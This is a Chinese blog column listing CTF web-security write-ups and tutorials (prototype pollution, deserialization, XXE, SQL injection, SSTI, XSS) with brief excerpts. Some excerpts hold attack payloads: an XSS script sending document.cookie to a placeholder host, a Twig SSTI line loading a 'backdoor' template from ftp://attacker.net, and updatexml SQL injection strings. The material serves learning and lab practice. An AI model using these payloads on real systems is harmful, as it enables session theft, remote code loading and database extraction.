Web安全
文章平均质量分 66
包含WEB的相关漏洞,不限于RCE,文件包含,SQLI,XSS,SSRF,SSTI,反序列化等
車鈊
热爱编程,正在钻研网络安全方向,欢迎来交流啊。
展开
-
[Tools]Pwn中用于远程交互的库函数总结
Pwn中用于远程交互的库函数总结在比赛当中经常会与端口应用交互的场景,首先是PWN库的安装和使用,参考资料:pwntools — pwntools 4.9.0dev documentation安装pip install --upgrade pwntools导入from pwn import *简单IO函数进程创建p = process('/bin/sh')# 还可以在已经建立的连接,如IP连接和SSH连接上创建进程# 关闭进程p.close()远程连接主机端口host =原创 2022-04-19 20:02:55 · 2579 阅读 · 0 评论 -
[Web/Nodejs]原型链污染EJS模块的利用分析(附源码分析)
EJS _CVE-2019-10744(outputFunctionName)在EJS引擎当中,存在一个属性opts.outputFunctionName(注:影响该位置的源数据流实际上有很多个,这个属性利用条件相对宽松,只要有就能用)读源码ejs作为渲染引擎,包含一些代码执行的功能,帮助将执行结果回显到页面。【以下代码为exports.render-----调用----->handleCache】首先调用了render的话(在我们做题时可以看到的表层函数)render调用的handl原创 2022-04-06 21:24:35 · 1783 阅读 · 1 评论 -
[WEB/Nodejs]原型链污染中lodash的利用方法分析
lodash.template显式的lodashs.merge存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。options的sourceURLoptions是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';给原创 2022-04-06 21:21:20 · 566 阅读 · 0 评论 -
[WEB/Nodejs]Nodejs原型链污染初窥
文章目录原型链污染原型链污染-前置内容:对象的构造三种方法和原型原型链污染-前置内容:原型链的继承原型链污染原理原型链污染手段入门示例原型链污染原型链污染-前置内容:对象的构造三种方法和原型对类原型操作的prototype对对象的类原型操作的__proto__function Foo() { this.name = '小红'}Foo.prototype.id = 123Foo.prototype.printl = function printl() { console.log原创 2022-04-06 21:20:30 · 1085 阅读 · 0 评论 -
[WEB/nodejs]Nodejs知识入门和子进程
文章目录入门内容Nodejs初步解构赋值事件绑定1.DOM绑定2.在JS绑定3. 绑定事件监听函数Callback回调函数子进程模块_函数child_process()参考链接入门内容Nodejs初步Nodejs是在服务器端运行的JS代码,跨平台JS的运行环境,采用V8引擎运行源代码,利用事件驱动、非阻塞、异步I/O模型等来提高运行的性能。使用多进程是扩展一个 Node 应用最好的方式,被设计用来通过很多节点创建分布式应用,这也是为什么被命名为 Node。解构赋值类似于解包,将对象或者数原创 2022-04-06 21:19:34 · 4380 阅读 · 0 评论 -
[BUU/Pickle/JWT] [CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun能做出这道题的,一定是狂热ikun吧(滑稽业务逻辑漏洞import requestsurl = "http://ed0b4ae6-27c4-46f2-9281-8b0b0335be34.node4.buuoj.cn:81/shop?page="for i in range(200): if "lv6.png" in requests.get(url+str(i)).text: print(i)运行结果181原创 2022-03-23 10:31:48 · 1148 阅读 · 0 评论 -
[Web/反序列化]青龙组AreUSerialz+朱雀组-phpweb
反序列化两道题目难度不大,但也要认真审计青龙组AreUSerialz源码 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename原创 2022-03-12 16:11:46 · 694 阅读 · 0 评论 -
[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox
注册登录,上传图片,可以下载文件,对文件下载进行抓包,此处可下载任意文件,filename=../../index.php找到class.php<?php class User { public $db; // 触发FileList的__call() public function __destruct() { $this->db->close(); }}class FileList { private $f原创 2021-10-14 17:18:34 · 212 阅读 · 0 评论 -
[WP/ctfshow/XXE]ctfshow_XXE_web373-378
外部实体注入WEB373// 允许加载外部实体libxml_disable_entity_loader(false);// xml文件来源于数据流$xmlfile = file_get_contents('php://input');if(isset($xmlfile)){ $dom = new DOMDocument(); // 加载xml实体,参数为替代实体、加载外部子集 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_原创 2021-10-13 22:07:50 · 925 阅读 · 0 评论 -
[WP/BUU/Web/反序列化] [MRCTF2020]Ezpop
源码Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; // 包原创 2021-10-13 22:03:24 · 164 阅读 · 0 评论 -
[WP/BUU] [0CTF 2016]piapiapia
**www.zip **可下载源码审计源码config.php暗示flag在本文件<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = '';?>register.php注册逻辑<?php require_once('class.php'); if($_原创 2021-10-13 13:36:24 · 193 阅读 · 0 评论 -
[Web/基础/反序列化]反序列化轻量总结
文章目录反序列化序列化和反序列化序列化是什么?魔术方法三种类型的变量的表示方法(public,protected,private)基本反序列化破坏__Wakeup失效反序列化写链其他形式反序列化SESSION反序列化Session原理其反序列化字符逃逸Python反序列化`Phar`反序列化什么是`Phar`文件?`Phar`结构那么思路是什么呢?一些限制框架反序列化反序列化序列化和反序列化序列化是什么?我们在运行程序时变量是存在于内存当中的,为了保存他们,我们可以将其转化为有确定格式的、可传输、可原创 2021-10-12 00:16:36 · 387 阅读 · 0 评论 -
[WP/WEB/反序列化/未完]CTFshow-web257-268
Web257<?phpclass ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function原创 2021-10-12 00:05:45 · 923 阅读 · 0 评论 -
[Web/基础/DTD]XML-DTD的简要总结
文章目录XML-DTD的简要总结简介包含内容DTD引用方法元素元素声明的格式空元素任意内容的元素只包含PCDATA元素带有子元素(序列)的元素声明只出现一次的元素声明最少出现一次的元素声明出现零次或者多次的元素出现零次或一次的元素声明"非.../即..."声明混合型的内容属性简介声明属性方法属性类型表默认值表默认值列举属性值多属性值的声明实体简介预定义实体内部实体声明外部实体引用参数实体用法重要说明两种重要的文本形式PCDATACDATAXML-DTD的简要总结声明:本文部分DTD实例取自W3C教程。原创 2021-10-11 23:59:44 · 1581 阅读 · 0 评论 -
[Linux/CTF]Linux重要目录和文件总结
CTF中的重要文件总结(记得更新…)目录角度看文件结构目录预期的内容/bin二进制文件,存放了基本的指令,依据先后顺序。/sbin超级管理员专用指令,依据先后顺序。/usr用户安装的软件和文件。/usr/bin也存放指令,依据先后顺序。/usr/sbin也存放指令,依据先后顺序。/usr/local/系统用户级管理员在本机自行安装自己下载的软件。/root系统管理员用户root主目录。/home除root用户的所有用户文件存储原创 2021-07-30 21:58:40 · 942 阅读 · 0 评论 -
[Web/IP]真实IP获取原理/客户端IP伪造测试
真实IP获取和客户端IP伪造近期比赛又做到了用户IP伪造的题目,想来不如就总结一下。为什么要确认IP?在Web应用下,部分逻辑需要确认用户的客户端IP。如对大量频繁发送危险请求的IP进行封禁。进行用户IP确认的方法有很多,但是部分方法降低了IP获取的难度,确牺牲了安全性,产生了IP可伪造的风险。服务器是如何确定IP的?REMOTE_ADDR标识发出请求的主机IP地址,代表客户端IP。这个标识完全由服务器决定,除了路由之外无法伪造,通过TCP协议根据直接请求来源的远程主机确定,服务端根据请求TC原创 2021-07-27 21:06:41 · 2000 阅读 · 1 评论 -
[WP/SSTI/PHP_Twig]Cookie is so stable解题/Twig模板注入
[BJDCTF2020]Cookie is so stablePHP-Twig模板注入参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933通过_self我们可以调用环境变量中的env属性,当PHP打开远程加载文件的参数(allow_url_include)时,问我们可以通过它来实现远程文件包含{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor原创 2021-07-23 01:11:44 · 594 阅读 · 1 评论 -
[WEB/XXE/XML]XML初步学习笔记
XXE相关-XML学习笔记XML介绍可扩展标记语言,标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性的标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。XML和HTML的辨析差异XML指可扩展标记语言(EXtensible Markup Language),原创 2021-07-17 00:42:08 · 168 阅读 · 0 评论 -
[WP/CTFshow]XSS Web316-333
CTFSHOW WP题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS316.需要配套接收端XSS脚本如果未过滤script且对外部资源加载无限制的情况下,可以指定src为精心准备的JS文件,使其加载,产生携带COOKIE的请求。本解法直接将产生请求写在了表层。<script>document.location.href='http://xxxxxxxxxxxxxxxxxxxx/x.php?1='+document.cookie</script>3原创 2021-07-11 21:44:36 · 1714 阅读 · 2 评论 -
[Web基础/文件包含]文件包含入门/伪协议/日志包含
文件包含(授课文档)文章目录文件包含(授课文档)本节包含关联知识什么是文件包含?前置知识形式上讲分为为什么学这个利用方法什么是读?什么是写?伪协议配置文件常用伪协议1.file://2.http://3.php://filter4.php://input5.data://利用文件包含getshell你可能会遇到的过滤:文件包含之日志包含后续本节包含文件包含原理与使用伪协议和一句话木马日志包含关联知识文件上传(本地包含)利用伪协议包含一句话木马base64编码什么是文件包含?RC原创 2021-07-11 21:29:17 · 391 阅读 · 1 评论 -
[知识/工具/安全渗透测试]简洁明了的Google Hacking教程,效率UPUP
Google Hacking简介Google Hacking 是指利用谷歌搜索引擎中的高级操作符,在搜索结果中定位特定的文本字符串,依托于谷歌强大的后台爬虫数据库,灵活使用可大大提高效率。前排提醒请遵守法律法规,科学上网,不要用于非法用途。操作符逻辑执行逻辑,从左向右高级操作符的内容可包含基础和布尔操作符问号,句号,逗号等无法成为关键字大小写不敏感基础操作符"" // 完全匹配搜索,即搜索结果必须包含其中关键字* ? // 模糊匹配搜索~ // 此关键词和它的同原创 2021-07-09 13:36:17 · 393 阅读 · 2 评论 -
[环境搭建/Docker-Compose]vulhub漏洞靶场环境搭建/Docker容器关闭方法
安装docker在root权限下执行此命令curl -s https://get.docker.com/ | sh //安装新版本的dockersudo apt purge --autoremove docker.io //卸载老版本的dockersudo apt install docker.io //使用Ubuntu自带的docker包管理器安装,但是一般版本比较老docker服务可能需要手动启动:service start docker安装docker-compose原创 2021-06-19 10:09:40 · 2324 阅读 · 0 评论 -
[WP-Buuoj-极客大挑战2019-信息泄露/反序列化]PHP
进入网页,根据提示,估计网站存在备份文件存在任意下载漏洞尝试获取源码常见的网站源码备份文件后缀.rar/.zip/.7z/.tar/.tar.gz/.bak/.swp/.txt/.html/常见的网站源码备份文件名web/website/backup/back/www/wwwroot/temp经过尝试www.zip为该备份,未删除或设置权限,可进行下载操作。tip:也可以尝试使用御剑和disearch进行扫描打开压缩包,得到网站源码分析源码源码核心为2部分index.phpcl.原创 2021-03-13 23:08:00 · 236 阅读 · 4 评论 -
[WP-Bugku积累-正则bypasss] No one knows regex better than me
No one knows regex better than me记Bugku一道关于PHP正则的新加题目题目源码:<?php error_reporting(0);$zero=$_REQUEST['zero'];$first=$_REQUEST['first'];$second=$zero.$first;if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ $key=$second;原创 2021-03-04 10:03:26 · 1676 阅读 · 3 评论 -
[WEB安全/PHP漏洞利用]PHP拼接
PHP动态拼接函数的变量名调用法1$a = "phpinfo";$a(); //相当于phpinfo(),$a调用函数,()传参函数的变量名调用法2$type = $FILE[$type]; $a = imagecreatefrom{$type}; //假如pic的类型为png,则拼接后的函数名为imagecreatefrompng$a($pic); //动态调用函数 //可以在文件上传的场景当中应用,根据文件类型调用原创 2020-09-02 13:08:49 · 345 阅读 · 1 评论 -
[WEB安全/XSS相关]什么是HTML实体
HTML实体为什么要添加html实体?在网页中以&#开头的是HTML实体,一些字符在 HTML 中是预留的,拥有特殊的含义,比如小于号‘<’用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。在百度百科查询更多的HTML实体实体分为两种实体名称实体编号以空格符号举例 //实体名称  //试题编号注:实体名称并不一定被所有的浏览器支持,但是实体编号是一定支持的。显原创 2021-03-04 16:43:11 · 216 阅读 · 0 评论 -
[WP-SWPU2019]web1/二次注入原理和利用/information_schema的替代方案
二次注入原理查询前对输入进行转义处理,导致注入无法生效。恶意语句插入到了数据库当中,导致恶意数据被读取并进入到SQL查询语句时,进行了数据查询操作,造成了注入,导致了恶意语句的执行。产生原因恶意语句保存到数据库之前,特殊字符会被转义,写入时又复原为原来的数据。默认数据库数据是安全的,没有对取出的数据进行检验。可能场景博客评论系统:添加评论时,用户将信息保存在数据库当中,再次查询时,恶意语句被查询语句引用,造成了二次注入。广告发布:同上登录状态下的密码修改服务(update修改其他用原创 2021-06-12 09:00:50 · 248 阅读 · 2 评论 -
[WEB安全/反序列化利用]构造反序列化字符逃逸方法分析
字符逃逸序列化类型:长度(键数):{类型:键长度:键名;类型:值长度:内容;} //本文键和值各自分为三部分,类型、长度、字符串 o:名长:对象名:长度(键数):{类型:键长度:键名;类型:值长度:内容;}一.字符减少型分类值逃逸:值过滤,前值包后键与值(左引号为止)条件为两个连续的键值对,第一个的值包含住第二个的键的全部和值的类型、长度,使第二个键值对产生逃逸覆盖不可控参数【主要为长度这一数字,利用可传参数的前一参数被过滤或替换的逻辑,计算其长度,使伪造数据闭合】原创 2021-06-09 19:08:09 · 204 阅读 · 0 评论 -
[WP/WEB安全/命令注入]由[网鼎杯 2020 朱雀组]Nmap-总结在线工具注入
在线工具注入总结此道可理解为一种命令注入,凡是依托eval或者提交语句完成的命令执行,如果应用对用户可控的语句信任度过高的话,都会产生注入,这可以作为一些渗透的解题思路。[网鼎杯2020朱雀组]NMAP源码做题中读取到的源码<?phprequire('settings.php');set_time_limit(0);if (isset($_POST['host'])): if (!defined('WEB_SCANS')) { die('Web scans dis原创 2021-06-06 09:55:51 · 397 阅读 · 2 评论 -
由[极客大挑战 2019]RCE ME总结disable_functions绕过
由[极客大挑战 2019]RCE ME总结disable_functions绕过源代码<?phperror_reporting(0);if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){原创 2021-06-06 09:35:15 · 447 阅读 · 0 评论 -
【WP】CISCN2021初赛-WEB部分
WEBEasysql模糊测试发现columns,information,union(大小写)被过滤报错回显点UNION联合注入无法使用,测试登录发现报错点回显位和库名我们采用报错注入,用and做语法连接// 测试列数wyx123')and(select 1)#// 爆破库名wyx123')and(select updatexml(1,concat(0x7e,database(),0x7e),1))#列名的猜解-无列名注入当我们构造连接查询,对其加上using限制(using:原创 2021-06-06 00:38:11 · 770 阅读 · 0 评论 -
【WP】[VNCTF 2021]Ez_game
[VNCTF 2021]Ez_game打开为一个小游戏,查看调试器,发现了三个js文件,在game.js中发现如下的语句function Update(){ ++levelFrame; UpdateAudio(); // save data if (!speedRunMode) localStorage.kbap_coins = playerData.coins; // update speed run time原创 2021-06-06 00:29:04 · 583 阅读 · 2 评论 -
【WP】2021虎符
签到原理原型为PHP官方GIT服务器近日被植入的后门。zval *enc;// 检测user_agenttif ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER")))&& (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER])原创 2021-06-06 00:24:44 · 274 阅读 · 2 评论 -
【WP】DASCTF2021
补发WPez_serialize源码<?phperror_reporting(0);highlight_file(__FILE__);class A{ public $class; public $para; public $check; public function __construct() { $this->class = "B"; $this->para = "ctfer"; e原创 2021-06-06 00:21:58 · 830 阅读 · 0 评论 -
[WEB_AK赛]观己
观察:访问实例,可以看到一串PHP代码,这是一道PHP审计题。主网址:http://98f0a5bb-0d07-4b2f-9b81-2aa83de8b76a.chall.ctf.show/源码:<?phpif(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($fil原创 2020-08-15 14:57:39 · 332 阅读 · 0 评论 -
[WEB安全/SQLI]SQLI盲注分析与延申
注入笔记 Part3布尔盲注:构造一条注入语句来测试其中布尔表达式结果的真假,反复横跳,得到拼接正确结果。时间盲注:利用sleep()等,根据每次页面返回的时间,判断注入的语句是否被成功执行。关键词:布尔表达式,休眠函数,自动化脚本。布尔盲注原理:1.判断长度,将库内的字符串截取并ascii化,与我们的猜测值对比,通过报错与报对,逐字猜解出完整字符串。但是猜解过程包含两重循环,所以由自动化脚本执行效率更高。2.IF函数这种题目里规定了默认查找数据的表,比如php提交如下语句:select原创 2020-05-31 08:33:20 · 282 阅读 · 0 评论 -
[WEB安全/SQL注入]SQLI报错注入原理分析和总结
注入笔记 Part2报错注入含义:在前端只回显查询是否正确与报错信息,而不直接显示查询的内容。关键词:xpath(xml),updatexml原理注入。报错注入原理:1.SQL(5.1以上版本)支持Xpath语法。2.当服务器在前端不回显查询到的信息,但是回显执行的报错信息时,我们通过xpath的函数在报错中创造窗口。例:SELECT updatexml(1,concat(0x7e,(show databases),0x7e),1) 我们可以将这串函数提交到SQL的服务器上,concat原创 2020-05-31 08:30:18 · 472 阅读 · 0 评论 -
[WEB安全/SQL注入]SQLI注入原理分析/整数与字符型联合注入总结
Web注入笔记(Part1)SQL注入(1)整数型和字符型题目的链接:https://www.ctfhub.com/#/skilltree,整数型注入和字符型注入。注:未探讨关键字被过滤的情况。错误之处敬请指正和交流。注入是什么?简单来说就是利用SQL语句在外部对SQL数据库(未经调整的数据库本身存在的漏洞)进行查询,更新等动作。一.注入原理查窗口(查询列数)---爆数据库名--爆表名--爆列名(字段)---爆内容三个重要的东西:UNION,PHP语句,information_schema原创 2020-05-28 10:31:55 · 606 阅读 · 0 评论